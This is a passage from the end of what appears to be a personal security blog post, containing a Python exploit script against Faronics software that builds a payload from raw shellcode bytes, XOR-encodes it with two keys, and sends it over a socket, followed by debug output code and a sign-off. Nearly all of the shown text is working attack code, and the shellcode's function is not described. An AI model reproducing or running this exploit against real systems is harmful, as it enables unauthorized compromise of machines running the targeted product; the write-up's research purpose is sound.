shellcode += b"\x8e\xe2\x80\x2b\xfa\xf0\x75\xdc\xb1\xaa\xd0"
shellcode += b"\xe3\x6f\xc2\xbf\x76\xf4\x12\xc9\x6a\xa3\x45"
shellcode += b"\x9e\x5d\xba\x03\x32\xc7\x14\x31\xcf\x91\x5f"
shellcode += b"\xf1\x14\x62\x61\xf8\xd9\xde\x45\xea\x27\xde"
shellcode += b"\xc1\x5e\xf8\x89\x9f\x08\xbe\x63\x6e\xe2\x68"
shellcode += b"\xdf\x38\x62\xec\x13\xfb\xf4\xf1\x79\x8d\x18"
shellcode += b"\x43\xd4\xc8\x27\x6c\xb0\xdc\x50\x90\x20\x22"
shellcode += b"\x8b\x10\x40\xc1\x19\x6d\xe9\x5c\xc8\xcc\x74"
shellcode += b"\x5f\x27\x12\x81\xdc\xcd\xeb\x76\xfc\xa4\xee"
shellcode += b"\x33\xba\x55\x83\x2c\x2f\x59\x30\x4c\x7a"

data += shellcode
data += cyclic(size-len(data))

header += p32(encode_three(data, size-0x10-0x4))
payload = header + data
print("Total len of payload: " + hex(len(payload)))
payload = bytearray(payload)
for i in range(len(payload)): 
    payload[i] = payload[i] ^ key1[i]
for i in range(len(payload)-4):
    payload[i+4] = payload[i+4] ^ key2[i]
proc.send(payload)

## Log payload information (debug)
product = decode(payload)
decode_print(product)

## Pause to prevent closing socket or thing will explode
## Faronics will reject the packet if the socket is closed
pause()

Thanks for reading!

Back to Home


© Kaligula Armblessed 2025 | Built on Hugo

Twitter GitHub